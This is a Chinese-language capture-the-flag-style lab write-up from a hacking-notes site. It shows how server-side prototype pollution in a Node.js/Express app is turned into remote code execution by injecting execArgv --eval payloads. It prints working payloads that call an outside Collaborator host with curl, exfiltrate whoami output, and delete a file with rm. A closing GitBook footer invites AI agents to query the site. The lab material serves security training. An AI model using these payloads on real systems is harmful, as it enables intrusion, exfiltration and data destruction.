> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md).

# 通过服务器端原型污染实现远程代码执行

### 通过服务器端原型污染进行远程代码执行

#### 实验上下文

* 基于 **Node.js** 以及框架 **Express**.
* 漏洞： **服务器端原型污染** 因为应用程序会将用户可控输入不安全地合并到一个 JavaScript 服务端对象中。
* 目标：污染 `Object.prototype` 以注入系统命令，随后这些命令将由服务器执行，然后 **删除** `/home/carlos/morale.txt`.
* 提供的连接： `wiener:peter` （在这个实验中，我们已经拥有高权限并可访问管理功能）。

#### 易受攻击的入口点：地址更新

更新地址功能接受一个 JSON。/ 它可以通过以下方式包含污染： `constructor.prototype` （融合危险的证明）：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="/files/6f80f7b5d8b1ce37f024ea0220896a64f104318c" alt="" width="506"><figcaption></figcaption></figure>

<figure><img src="/files/d30d1a7b60b1063c22488dc33c6cd6cb794ebecf" alt=""><figcaption></figcaption></figure>

#### 功能

作为管理员， **运行维护任务** 按钮可见。

当你点击时，应用程序会执行任务（例如清理）并显示：

* 数据库清理 → 成功
* 文件系统清理 → 成功

客户端发送一个类似的 JSON：

```json
{
  "csrf": "L7LME4ZyzauaCTOU9Nc4P0ZdaHHcCYYO",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "tasks": [
    "db-cleanup",
    "fs-cleanup"
  ]
}
```

而服务器返回：

```json
{
  "results": [
    {
      "name": "db-cleanup",
      "description": "Database cleanup",
      "success": true
    },
    {
      "name": "fs-cleanup",
      "description": "Filesystem cleanup",
      "success": true
    }
  ]
}
```

关键观察：在后台，似乎有一个 Node.js 进程通过 **子/进程** 机制启动这些任务。

#### 利用：通过以下方式注入 Node 参数 `execArgv`

在 Node.js 中，某些执行可以通过以下方式向运行时传递参数 `execArgv`。/ 思路：污染 `Object.prototype.execArgv` 以注入一个 `--eval=...` ，它通过以下方式执行系统命令： `child_process.execSync`.

```javascript
--eval=require('child_process').execSync('id')
```

使用的载荷（通过 `curl`):

```json
"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
    ]
}
```

然后我们触发 **运行维护任务** 以强制应用程序启动会重用 `execArgv`.

<figure><img src="/files/dd6f49dfb9cdb1fbb07062ce6cca326579b7b750" alt=""><figcaption></figcaption></figure>

我们确实在 Collaborator 上收到了一个请求 → 已确认执行。

<figure><img src="/files/0805ef15303c0b642e590548715c28c1efcec9e5" alt=""><figcaption></figcaption></figure>

#### 上下文验证：外传 `whoami`

你可以通过一个动态子域名外传用户：

{% code overflow="wrap" %}

```json
"--eval=require('child_process').execSync('curl https://$(whoami).m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
```

{% endcode %}

接收： `carlos`

<figure><img src="/files/168d82b160756cbdd2db68c25965c217717f92bd" alt=""><figcaption></figcaption></figure>

#### 最后一步：删除请求的文件

发送清理后的污染并带上删除命令：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "__proto__": {
    "execArgv": [
      "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
  }
}
```

然后我们重启 **维护任务** 以触发执行。

预期结果： `/home/carlos/morale.txt` 文件已删除，实验已通过。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.